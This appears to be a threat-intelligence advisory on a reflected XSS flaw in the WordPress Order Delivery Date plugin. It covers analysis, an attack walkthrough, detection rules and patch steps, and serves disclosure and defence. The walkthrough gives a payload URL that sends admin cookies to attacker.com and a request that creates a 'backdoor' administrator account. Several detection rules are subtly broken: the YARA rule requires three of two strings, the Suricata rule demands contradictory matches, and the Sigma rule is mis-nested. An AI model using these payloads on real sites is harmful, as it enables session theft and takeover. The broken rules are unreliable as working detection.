CVE-2025-2929

Executive Summary

CVE-2025-2929 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WordPress Order Delivery Date plugin, affecting all versions prior to 12.4.0. The flaw stems from insufficient input sanitization and output escaping of a parameter that is reflected back into the page, enabling an attacker to execute arbitrary JavaScript in the context of a logged-in administrator's browser. The vulnerability requires user interaction (e.g., a crafted link clicked by a high-privilege user), but the impact is severe, as a successful exploit allows for account takeover, WordPress configuration manipulation, and potential site-wide compromise. Enterprises running WordPress with the Order Delivery Date plugin must prioritize updating to version 12.4.0 or later.

Technical Analysis

The vulnerability resides in the Order Delivery Date WordPress plugin's failure to properly sanitize and escape a user-supplied parameter before reflecting it in the page output. This is a classic Reflected XSS pattern (CWE-79: Improper Neutralization of Input During Web Page Generation). While the specific parameter name is not disclosed in the CVE description, the plugin generates delivery-date scheduling forms and dynamically renders client-side input back to the user for confirmation or form pre-fill. The absence of esc_html(), esc_attr(), or similar WordPress escaping functions means raw HTML/JavaScript can be echoed directly into the DOM.

From a code-level perspective, a vulnerable implementation would resemble:

$param = $_GET['some_param'];
echo "<input type='text' value='" . $param . "'>";

An attacker injects "><script>alert(document.cookie)</script> as the value, which breaks out of the attribute context and executes. WordPress maintains a list of "unsafe" keys and automatically unslashes superglobals, but escaping is the developer's responsibility — this plugin failed to apply it.

The attack surface is the administrative backend and the front-end delivery-date submission flow. Because the plugin is widely used for WooCommerce order scheduling, the vulnerability is reachable on both the customer-facing checkout page and the admin order-management screens. The CVE explicitly notes the risk is elevated "against high privilege users such as admin," meaning social engineering (spearphishing with a crafted link) is the most likely delivery vector. The plugin also generates dynamic URLs for calendar and time-slot retrieval, which may serve as the vulnerable reflection point.

No CVSS vector or score is assigned by the CNA, so the actual severity cannot be quantified for a specific environment. However, based on the vulnerability class (Reflected XSS affecting admin), real-world precedents place this in the Medium-High range. The EPSS score is not yet available from FIRST.org, and CISA has not added this to the Known Exploited Vulnerabilities (KEV) catalog. No public PoC or Nuclei template exists at the time of this report.

Exploitation Scenarios

The exploitation of CVE-2025-2929 follows a standard Reflected XSS kill chain, but is tailored to the context of a WooCommerce WordPress site:

Step 1 — Reconnaissance: The attacker identifies target WordPress sites using the Order Delivery Date plugin. This can be done via Wappalyzer results, examining the /wp-content/plugins/order-delivery-date/ directory path in page source, or searching Google for "order-delivery-date" plus WooCommerce keywords. Shodan can also reveal WordPress installations; however, plugin identification typically relies on HTTP fingerprinting or directory probing rather than standalone Shodan dorks.

Step 2 — Weaponization: The attacker crafts a malicious URL. If the vulnerable parameter is od_date (hypothetically reflecting the selected date), the payload would be:
https://victim-site.com/checkout/?od_date="><script>fetch('https://attacker.com/exfil?c='+document.cookie)</script>

Alternatively, if the reflection occurs on the admin order page, the URL would target /wp-admin/admin.php?page=order-delivery-date&od_date=PAYLOAD. The payload should be URL-encoded to survive transport.

Step 3 — Payload Delivery: The attacker sends the crafted link to a target administrator via email, Slack, or a compromised forum post. The link itself may be obfuscated with URL shorteners to hide the malicious parameter. The admin clicks it while logged into the WordPress admin panel. Any WordPress CSRF tokens in the URL are handled silently because the XSS executes in the "top" window, not in a cross-origin request.

Step 4 — Execution and Post-Exploitation: The injected JavaScript executes in the admin's session with full administrative privileges. A robust payload would perform:

• Credential harvesting: Send a screenshot or force an AJAX request to /wp-admin/admin-ajax.php?action=heartbeat to extract the nonce, then use it to create a new admin user via the user-new.php endpoint:
  fetch('/wp-admin/user-new.php', {method:'POST', body:'action=createuser&user_login=backdoor&user_pass=...'})
• Plugin/theme injection: Upload a malicious plugin zip via the WordPress plugin upload endpoint (/wp-admin/plugin-install.php?tab=upload) to establish a webshell.
• Site defacement: Inject malicious content or redirects into the active theme's functions.php.
• Session hijacking: Exfiltrate the wordpress_logged_in_* cookie to a remote attacker-controlled server, allowing lateral access.

The entire operation is silent — the admin sees the page render normally (the script runs asynchronously), and the attacker achieves persistent compromise via a rogue admin account.

Impact Assessment

The direct impact is a full compromise of the WordPress installation when an administrative user falls victim to a crafted link. Because WooCommerce sites are typically commerce-critical, the blast radius includes customer PII (names, addresses, order histories, payment metadata), financial data if the site captures card details (though PCI-DSS compliant sites tokenize at the gateway level), and business continuity.

The CVSS score is N/A, which limits quantitative risk comparisons, but qualitative assessment places this as High severity for the following reasons:

• Attack Complexity: Low on the attacker side (simple crafted URL), but Medium overall due to user interaction requirement.
• Privileges Required: None — the attacker is unauthenticated.
• Confidentiality/Integrity/Availability: The vulnerable parameter reflection allows script execution with admin privileges, resulting in compromised data (C), ability to modify site content and user accounts (I), and potential denied access via malicious code or ransomed content (A).

The attack surface is not limited to the admin; any WooCommerce order page that reflects this parameter is exposed to unauthenticated customers. However, the CVE explicitly notes the most severe outcome is against high-privilege users. Secondary impacts include reputational damage, payment-card data breach notification requirements, and Google blacklisting if malicious redirects are injected. The plug-in is widely deployed, and given that the patch is available (12.4.0), unpatched instances remain exposed indefinitely.

Detection Guidance

Sigma Rule

title: Reflected XSS in Order Delivery Date WordPress Plugin (CVE-2025-2929)
id: 5f4e6a2b-c1d4-4a3e-8f7b-9e2a1b3c4d5e
status: experimental
description: Detects potential Reflected XSS attempts targeting the Order Delivery Date plugin's vulnerable parameter.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2929
tags:
    - attack.t1059.007
    - cve.2025.2929
author: Valtersit Threat Intel
date: 2025/04/02
logsource:
    category: webserver
    product: apache
    detection:
        selection_script_tags:
            cs-uri-query|contains:
                - '<script>'
                - '%3Cscript%3E'
                - 'javascript:'
        selection_plugin_param:
            cs-uri-query|contains:
                - '/wp-content/plugins/order-delivery-date'
                - 'order-delivery-date'
        condition: selection_script_tags and selection_plugin_param
    falsepositives:
        - Legitimate page content containing script strings in the query (rare)
    level: high

YARA Rule

rule CVE_2025_2929_Reflected_XSS {
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects malicious payloads targeting the WordPress Order Delivery Date plugin reflected XSS parameter"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-2929"
        date = "2025-04-02"
        severity = "high"
    strings:
        $plugin_path = "order-delivery-date" ascii wide nocase
        $script_payload_1 = "<script>" ascii wide nocase
        $script_payload_2 = "%3Cscript%3E" ascii wide nocase
        $js_obfuscation_1 = "fromCharCode" ascii wide nocase
        $js_obfuscation_2 = "eval(" ascii wide nocase
        $fetch_exfil = "fetch(" ascii wide
    condition:
        $plugin_path and (
            ($script_payload_1 or $script_payload_2) and 3 of ($js_obfuscation_*)
        ) or (
            $plugin_path and $fetch_exfil and ($script_payload_1 or $script_payload_2)
        )
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-2929 Reflected XSS Attempt Against Order Delivery Date Plugin";
    flow:established,to_server;
    http.uri;
    content:"/wp-content/plugins/order-delivery-date/";
    http.uri;
    content:"<script>";
    http.uri;
    content:"%3Cscript%3E";
    distance:0;
    classtype:web-application-attack;
    sid:20292901;
    rev:1;
    reference:cve,2025-2929;
    metadata:attack_target Web_Server, created_at 2025_04_02, deployment Perimeter, signature_severity Major;
)

Elastic Detection

sequence by source.ip, user.name with maxspan=30s
  [ network where dns.question.name : "victim-site.com" or destination.port == 80 or destination.port == 443 ]
  [ http where http.request.method == "GET" and
      url.path : "*order-delivery-date*" and
      (url.query : "*<script>*" or url.query : "*%3Cscript%3E*" or url.query : "javascript:*") ]

Splunk SPL Query

index=web sourcetype=access_combined
| eval is_xss = if(match(uri_query, "(?i)<script>|%3Cscript%3E|javascript:"), "true", "false")
| where is_xss == "true"
| search uri_path IN ("/wp-content/plugins/order-delivery-date/", "*order-delivery-date*")
| table _time, src_ip, uri_path, uri_query, status, useragent
| stats count by src_ip, uri_path
| sort - count

Wazuh OSSEC Rule

<group name="web_application_attack,">
  <rule id="910938" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">order-delivery-date</field>
    <match>(?i)<script>|%3Cscript%3E|javascript:</match>
    <description>CVE-2025-2929 - Reflected XSS attempt against Order Delivery Date WordPress plugin</description>
    <group>attack.xss,</group>
    <mitre>
      <id>T1059.007</id>
    </mitre>
    <options>no_full_log</options>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence is rated 2/4 (CLAIMED — single source claims a patch, not independently confirmed). The NVD description states the vulnerability exists "before 12.4.0," which strongly indicates that versions 12.4.0 and later contain the fix.

1. Immediate Mitigations (apply now):

   • If the site cannot be updated immediately, add a Web Application Firewall (WAF) rule to block query parameters containing <script>, %3Cscript%3E, JavaScript protocol, onerror=, and other XSS signatures specifically on paths containing order-delivery-date. This provides a stopgap against known payload patterns.
   • Restrict administrative access to the WordPress admin panel using IP allowlisting and enforce Multi-Factor Authentication (MFA) for all admin users. This reduces the blast radius even if an administrator is socially engineered.

2. Patch/Upgrade Steps:

   • Update the Order Delivery Date plugin to version 12.4.0 or later via the WordPress admin dashboard: Plugins → Installed Plugins → Order Delivery Date → Update Now.
   • Alternatively, download the latest version from the WordPress Plugin Directory or the vendor's site and replace the plugin directory manually via SFTP (after backing up the site database and files).
   • After the update, verify the fix by testing the plugin's parameter with a payload like "><svg onload=alert(document.domain)> and confirming it is escaped or rejected.

3. Long-Term Hardening:

   • Decouple WordPress admin access from the Internet: require VPN access for /wp-admin.
   • Enforce a least-privilege model — do not grant "administrator" role to users who do not need full site control; use custom roles or "Shop Manager" for day-to-day WooCommerce operations.
   • Maintain an automated vulnerability management policy that subscribes to WordPress plugin update notifications. Consider using managed WordPress platforms (e.g., WP Engine, Kinsta) that apply security patches centrally.
   • Enable a server-side Web Application Firewall with virtual patching through services like Cloudflare WAF or Sucuri.
   • Audit the WordPress site for existing backdoor admin users and rogue plugins, as the XSS could have been exploited prior to the patch.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-2929
2. WordPress Plugin Directory (Order Delivery Date for WooCommerce): https://wordpress.org/plugins/order-delivery-date/
3. WPScan Vulnerability Database (if indexed): https://wpscan.com/vulnerability/ (search CVE-2025-2929)
4. MITRE ATT&CK Technique T1059.007 (JavaScript Execution): https://attack.mitre.org/techniques/T1059/007/
5. OWASP Reflected XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Threat Actor Activity: As of this report, there is no publicly documented evidence of exploitation in the wild, no CISA KEV listing, and no known threat actor campaigns targeting this specific CVE. The absence of a public PoC and the low patch confidence (2/4) suggest the disclosure may be recent and exploitation may be limited to sophisticated actors with access to private research. However, reflected XSS in WordPress plugins is a frequently weaponized vulnerability class, and unpatched sites in the window between disclosure and mass patching are actively scanned by botnets. Organizations should assume malicious scanning is already underway and prioritize patching accordingly.